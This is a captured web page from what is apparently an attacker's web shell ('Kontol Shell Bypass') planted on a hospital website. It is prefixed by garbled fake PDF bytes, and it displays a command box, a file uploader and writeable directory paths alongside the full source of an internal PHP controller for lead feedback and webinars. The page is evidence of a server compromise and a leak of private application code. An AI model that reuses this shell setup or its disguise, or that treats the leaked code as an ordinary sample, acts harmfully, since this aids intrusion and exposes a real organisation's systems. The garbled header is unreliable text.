%PDF- <> %âãÏÓ endobj 2 0 obj <> endobj 3 0 obj <>/ExtGState<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI] >>/Annots[ 28 0 R 29 0 R] /MediaBox[ 0 0 595.5 842.25] /Contents 4 0 R/Group<>/Tabs/S>> endobj ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<> endobj 2 0 obj<>endobj 2 0 obj<>es 3 0 R>> endobj 2 0 obj<> ox[ 0.000000 0.000000 609.600000 935.600000]/Fi endobj 3 0 obj<> endobj 7 1 obj<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI]>>/Subtype/Form>> stream

nadelinn - rinduu

Command :

ikan Uploader :
Directory :  /var/www/html/shardahospital.org/shardalms/api/application/controllers/
Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 
Current File : /var/www/html/shardahospital.org/shardalms/api/application/controllers/Lf.php
<?php
class Lf extends MY_Controller {
    function __construct() {
        parent::__construct();
		not_logged_res(); 
		$this->checkAccess(['view_lead_feedback', 'view_lead_feedback_byyou']);
		$this->load->model("lf_model", "lf");
        $this->load->model("user_model", "user");
        $this->load->model("dataset_model", "dataset");
        $this->load->model("leads_model", "leads");
        $this->load->model("master_model", "master");
    }
	
	function init(){
        $data=$this->lf->lists(FALSE, $this->is_access('view_lead_feedback')?false:true);
        
        $lvOpt=$this->dataset->detail(0, USER_ID);
        $states=$this->common->states();
        $data['all_states']=$states;
		$data['states']=[];
		if($lvOpt['states']){
			foreach($states as $i=>$r){
				if(in_array($r['id'], $lvOpt['states'])){
					$data['states'][]=$r;
				}
			}
		}else{
			$data['states']=$states;
        }
        
        $data['comm_modes']=lf_communication_modes();

		$data['remarks']=$this->lf->remarks(); 
		$data['callers']=$this->user->active_users($this->is_access('view_lead_feedback')?false:true);
		$data['cats']=$this->lf->remarks_cats();
		$this->json_data($data);
	}

	function lists(){
		$data=$this->lf->lists(FALSE, $this->is_access('view_lead_feedback')?false:true);
		$this->json_data($data);
	}

	function exportLists(){
		$data=$this->lf->lists(TRUE, $this->is_access('view_lead_feedback')?false:true);
		download_scheduled_visits_csv($data['result']);
	}

	function detail($id){
		$data['dtl']=$this->lf->detail($id);
		$this->json_data($data);
	}

	function delete(){
		$inf=array('success'=>'F', 'msg'=>'Can not deleted!');
		$id=intval($this->input->post('id'));
		if($this->lf->delete($id)){
			$inf['success']='T';
			$inf['msg']="Deleted successfully";
		}
		$this->json_data($inf);
	}
	
	
	/** Remarks */
	function remarks(){
		$this->checkAccess('manage_disposition');
		$data['remarks']=$this->lf->remarks();
		$this->json_data($data);
	}
	
	function saveRemark(){
		$this->checkAccess('manage_disposition');
		$inf=array('success'=>'F', 'msg'=>'Error!');
		$post=trim_array($this->input->post());
		if($post){
			$id=$post['id']=intval($post['id']);
			$this->form_validation->set_rules('title', 'Disposition', 'required', $this->req);
			//$this->form_validation->set_rules('cat_id', 'Category', 'required', $this->req);
			
			$inf['success']='F';
			if(@$this->form_validation->run() == FALSE){
				$inf['errors']=$this->form_validation->get_errors();
				$inf['msg']=reset($inf['errors']);
            }else{
				$data=filter_value($post, array('id', 'title', 'disp_odr', 'status', 'cat_id'));
				
				if($rid=$this->common->save($data, "master_lead_remarks")){
					$this->db->delete('master_lead_subremarks', array('remarks_id' => $rid));
					if(sizeof($post['subremarks']) && !empty($post['subremarks'][0])){
						foreach($post['subremarks'] as $k=>$val){
							$data_ins['remarks_id']=$rid;
							$data_ins['title']=$val;
							$data_ins['disp_odr']=$post['subremarks_disp_odr'][$k];
							$this->common->save($data_ins, "master_lead_subremarks");
						}
					}

					$inf['success']='T';
					$inf['msg']='Disposition '.($id?'updated':'added').' successfully';
				}
            }
			$this->json_data($inf);
		}
	}

	function remarkDetail($id=0){
		$this->checkAccess('manage_disposition');
		$dtl['dtl']=$this->lf->remarkDetail($id);
		$this->json_data($dtl);
	}
	
	function deleteRemark(){
		$this->checkAccess('manage_disposition');
		$inf=array('success'=>'F', 'msg'=>'Can not deleted!');
		$id=intval($this->input->post('id'));
		if($this->lf->deleteRemark($id)){
			$inf['success']='T';
			$inf['msg']="Disposition deleted successfully";
		}
		$this->json_data($inf);
	}

	function saveCat(){
		$this->checkAccess('manage_disposition');
		$inf=array('success'=>'F', 'msg'=>'Error!');
		$post=trim_array($this->input->post());
		$id=$post['id']=intval($post['id']);
		$this->form_validation->set_rules('title', 'Category name', 'required', $this->req);
		
		$inf['success']='F';
		if(@$this->form_validation->run() == FALSE){
			$inf['errors']=$this->form_validation->get_errors();
			$inf['msg']=reset($inf['errors']);
		}else{
			$data=filter_value($post, array('id', 'title', 'disp_odr'));
			
			if($id=$this->common->save($data, "master_lead_remarks_cats")){
				$inf['success']='T';
				$inf['msg']='Category '.($id?'updated':'added').' successfully';
			}else{
				$inf['msg']='Category Not '.($id?'updated':'added').' successfully';
			}
		}
		$this->json_data($inf);
	}

	function catList(){
		$this->checkAccess('manage_disposition');
		$data['results']=$this->lf->remarks_cats();
		$this->json_data($data);
	}

	function catDtl($cat_id){
		$this->checkAccess('manage_disposition');
		$data=array('success'=>'F', 'msg'=>'Category Not Found','cat'=>array());
		$cat=$this->db->select('*')->from('master_lead_remarks_cats')->where(['id'=>$cat_id])->get()->first_row('array');
		if($cat){
			$data['cat']=$cat;
			$data['success']='T';
		}
		
		$this->json_data($data);
	}

	function delCat($id){
		$this->checkAccess('manage_disposition');
		$inf=array('success'=>'F', 'msg'=>'Can not deleted!');
		if($this->db->limit(1)->get_where("master_lead_remarks", ['cat_id'=>$id])->row()->id){
			$this->json_data($inf);
		}
		if($this->lf->deleteRemarkCat($id)){
			$inf['success']='T';
			$inf['msg']="Category deleted successfully";
		}
		$this->json_data($inf);
    }
    
    /** Sent Emails */
    function init_sent_emails(){
        $data=$this->lf->lists_sent_emails(FALSE, $this->is_access('view_lead_feedback')?false:true);
        
        $lvOpt=$this->dataset->detail(0, USER_ID);
        $states=$this->common->states();
        $data['all_states']=$states;
		$data['states']=[];
		if($lvOpt['states']){
			foreach($states as $i=>$r){
				if(in_array($r['id'], $lvOpt['states'])){
					$data['states'][]=$r;
				}
			}
		}else{
			$data['states']=$states;
        }

		$data['callers']=$this->user->active_users($this->is_access('view_lead_feedback')?false:true);
		$this->json_data($data);
    }
    function lists_sent_emails(){
		$data=$this->lf->lists_sent_emails(FALSE, $this->is_access('view_lead_feedback')?false:true);
		$this->json_data($data);
    }

	/** Sent SMS */
    function init_sent_sms(){
        $data=$this->lf->lists_sent_sms(FALSE, $this->is_access('view_lead_feedback')?false:true);
        
        $lvOpt=$this->dataset->detail(0, USER_ID);
        $states=$this->common->states();
        $data['all_states']=$states;
		$data['states']=[];
		if($lvOpt['states']){
			foreach($states as $i=>$r){
				if(in_array($r['id'], $lvOpt['states'])){
					$data['states'][]=$r;
				}
			}
		}else{
			$data['states']=$states;
        }

		$data['callers']=$this->user->active_users($this->is_access('view_lead_feedback')?false:true);
		$this->json_data($data);
    }
    function lists_sent_sms(){
		$data=$this->lf->lists_sent_sms(FALSE, $this->is_access('view_lead_feedback')?false:true);
		$this->json_data($data);
    }
    
    /** Dead Leads */
    function init_dead_leads(){
        $data=$this->lf->lists_dead_leads(FALSE, $this->is_access('view_lead_feedback')?false:true);
        
        $lvOpt=$this->dataset->detail(0, USER_ID);
        $states=$this->common->states();
        $data['all_states']=$states;
		$data['states']=[];
		if($lvOpt['states']){
			foreach($states as $i=>$r){
				if(in_array($r['id'], $lvOpt['states'])){
					$data['states'][]=$r;
				}
			}
		}else{
			$data['states']=$states;
        }

		$data['callers']=$this->user->active_users($this->is_access('view_lead_feedback')?false:true);
		$this->json_data($data);
    }
    
    function lists_dead_leads(){
		$data=$this->lf->lists_dead_leads(FALSE, $this->is_access('view_lead_feedback')?false:true);
		$this->json_data($data);
    }
    

    /** Webinar Participants */
    function init_webinar_participants(){
        $data=$this->lf->webinar_participants();
        $lvOpt=$this->dataset->detail(0, USER_ID);
        $states=$this->common->states();
        $data['all_states']=$states;
		$data['states']=[];
		if($lvOpt['states']){
			foreach($states as $i=>$r){
				if(in_array($r['id'], $lvOpt['states'])){
					$data['states'][]=$r;
				}
			}
		}else{
			$data['states']=$states;
        }
        $data['webinars']=$this->lf->get_webinar_name_list();
		$this->json_data($data);
    }

    function webinar_participants(){
		$data=$this->lf->webinar_participants();
		$this->json_data($data);
    }

    function webinar_inv_email_dtl(int $id){
        $this->checkAccess('manage_webinar');
        $inf=array('success'=>true, 'msg'=>'');

        try{
            $dtl=$this->db->select("id, title web_name, web_date, start_time, end_time, inv_email_sub,inv_email_body,inv_sms")
                ->from("webinars")
                ->where(['id'=>$id])
                ->limit(1)
                ->get()->row_array();
            
            if(!$dtl){
                throw new Exception("No Details Found For This Webinar");
            }
            $count=$this->db->select("COUNT(IF(accepted=1, 1, NULL)) no_of_accepted, COUNT(IF(inv_email_sent=1, 1, NULL)) no_of_inv_emails_sent")->get_where("webinar_leads", ['webinar_id'=>$dtl['id']])->row_array();

            $dtl['no_of_accepted']=(int)$count['no_of_accepted'];
            $dtl['no_of_inv_emails_sent']=(int)$count['no_of_inv_emails_sent'];
            $inf['detail']=$dtl;
        
        }catch(Exception $e){
            $inf['msg']=$e->getMessage();
            $inf['success']=false;
        }
        $this->json_data($inf);
    }

    function update_inv_email_content(){
        $this->checkAccess('manage_webinar');
        $inf=array('success'=>true, 'msg'=>'');

        try{
            $post=trim_array($this->input->post());
            $id=$post['id']=intval($post['id']);
            
            $this->form_validation->set_rules('id', 'Webinar ', "required|numeric", $this->req);
            $this->form_validation->set_rules('inv_sms', 'SMS', "required", $this->req);
            $this->form_validation->set_rules('inv_email_sub', 'Email Subject', "required", $this->req);
            $this->form_validation->set_rules('inv_email_body', 'Email Content', "required", $this->req);

            if(@$this->form_validation->run() == FALSE){
                $inf['errors']=$this->form_validation->get_errors();
                throw new \Exception(reset($inf['errors']));
            }

            $data=filter_value($post, array('id','inv_sms', 'inv_email_sub', 'inv_email_body'));

            if(!$this->dba->save("webinars", $data)){
                throw new \Exception("Error! At Saving Invitation Email Content");
            }

            $inf['msg']='Invitation email updated successfully';
            $inf['send_email_api']=$this->master->send_webinar_invitaion_email_url($id);
        }catch(\Exception $e){
            $inf['msg']=$e->getMessage();
            $inf['success']=false;
        }
        
        $this->json_data($inf);
    }
}

//EOF

Kontol Shell Bypass